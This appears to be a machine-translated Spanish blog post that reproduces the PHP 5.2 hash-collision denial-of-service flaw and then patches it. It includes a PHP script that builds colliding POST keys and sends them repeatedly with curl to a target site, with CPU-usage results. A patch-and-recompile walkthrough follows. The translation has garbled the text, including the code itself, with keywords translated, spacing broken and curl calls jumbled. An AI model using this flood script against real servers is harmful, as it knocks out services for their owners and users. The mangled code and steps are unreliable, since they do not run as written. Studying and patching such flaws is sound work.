PHP Hash conflict lleva a una solución 100% completa para CPU

  
                  Recientemente, he estado ocupado escribiendo "Curso de enrutamiento e intercambio CCNP de autoaprendizaje 2012", y ahora escribí el cuarto capítulo, así que no tengo tiempo para trabajar con el trabajo bajo la plataforma Linux. Hoy me tomé el tiempo para estudiar un BUG, ​​PHP 5.2 /5.3 Vulnerabilidades de hash, causando que una máquina ataque a DDOS en un sitio PHP en Internet. Veamos el entorno. Este sitio es de arquitectura LAMP y la versión de PHP es 5.2.17.


Antes de la revisión de PHP, la situación de la CPU del servidor es actualmente de 2,1% de uso.

se escribe un programa PHP en este servidor web, el propósito es probar la máquina en Hash que por falta de reproducirse. El lenguaje de programación es el siguiente: <? Php echo $ showtime = date (" Y-m-d H: i: s ");? ≫ El efecto después de la ejecución es tomar la hora actual del servidor.


Buscando una máquina de prueba con un entorno PHP. Utilizo una máquina virtual para esta máquina, que tiene un entorno LAMP. En el directorio /usr /local /apache /htdocs, escriba una página web de PHP con el siguiente idioma: [root @ blog htdocs] # Vi hash.php

<? Php $ size = pow (2, 16) $ data = ''; para ($ key = 0, $ maxKey = ($ size - 1) * $ size; $ key < = $ maxKey; $ key + = $ size) {$ data. = $ key. '= &';}

$ url = 'http://www.liuxxxxx.com/checktime.php'; $ rs = array (); $ ch = curl_init (); curl_setopt ($ ch Curssetopt ($ ch, CURLOPT_URL, $ url); curl_setopt ($ ch, CURLOPT_POST, 1); curl_setopt ($ ch, CURLOPT_POSTFIELDS, $ data); para (, CURLOPT_HEADER, 0); $ i = 0; $ i < 100; ++ $ i) {curl_exec ($ ch);} curl_close ($ ch);? >

url address, la máquina de destino que desea probar, i < 100, lo que indica hasta 100 concurrentes. Ejecute manualmente hash.php para colisiones de hash. [root @ blog htdocs] # /usr /local /php /bin /php hash.php

En el lado del servidor web, vamos a ver la utilización de recursos del servidor, la CPU es del 97.6%, parece un solo virtual La máquina, tomando 100 al mismo tiempo que Hash, es suficiente para aumentar la utilización de la CPU del servidor web al 100%.


La CPU es 100%, ¿cuál es el sitio web? Luego, navegamos por el servidor web, hicimos clic en el enlace del sitio web y la respuesta fue normal. Se estima que este servidor web no tiene presión, por lo que no se puede ver. Ajuste la cantidad de concurrencia a 10000, y luego mídala, solo 100 concurrentes.


Actualice la página checktime.php, que se puede mostrar rápidamente y el sitio web es normal. Pero en este momento, la CPU del servidor web ya está al 100%.


Conclusión, utilizo un blog personal como la máquina de destino, porque los blogs personales, que solo algunas personas visitan actualmente, no hay presión, por lo que incluso a través de 10000 Hash concurrentes, CPU hasta el 100%, velocidad de apertura del blog personal, todavía bastante rápido.

Pon un parche y echemos otro vistazo. 1, primero compruebe los parámetros de compilación de PHP en el entorno de compilación


2, conéctese en línea para descargar un parche de PHP, la dirección de descarga es: https://github.com/laruence /laruence.github.com/tree/master/php-5.2-max-input-vars


3, de acuerdo con el número de versión de la plataforma personal, haga clic en ella, preste atención, no esté en ella Haga clic derecho, guardar como, de lo contrario, está bajando un archivo html, el nombre del archivo es php-5.2.17-max-input-vars.patch. En el nuevo punto de la página emergente "" raw ", este archivo de parche se abrirá.



Copia el contenido en el interior, solo corto una pequeña parte. Luego cree un nuevo archivo en el servidor web, php-5.2.17-max-input-vars.patch, que se acaba de copiar.

4, en el directorio de instalación original de php, mi entorno aquí es /opt/soft/php-5.2.17. Primero limpie algunos de los compilados originales.


5, parchear y recompilar php


config luego hacer ZEND_EXTRA_LIBS = '- liconv' //algunas plataformas son make , cada entorno es diferente, luego realice la instalación

6, reinicie Apache, vea el efecto [root @ lghblog php-5.2.17] # pkill httpd [root @ lghblog php-5.2.17] # /usr /Local /apache /bin /apachectl start

Visite phpinfo.php del servidor web para ver si el entorno PHP ha cambiado. Puedes ver en la parte superior, la versión de PHP viene con un P1. Esto no es suficiente. Usemos Hash para colisionar y ver si la CPU será del 100%.

En la máquina de prueba, tome el 10000 concurrente y vaya al servidor web Hash. Se encontró que la CPU del servidor web se mantiene en 0.5%.



¡Resolución de problemas!

Copyright © Conocimiento de Windows All Rights Reserved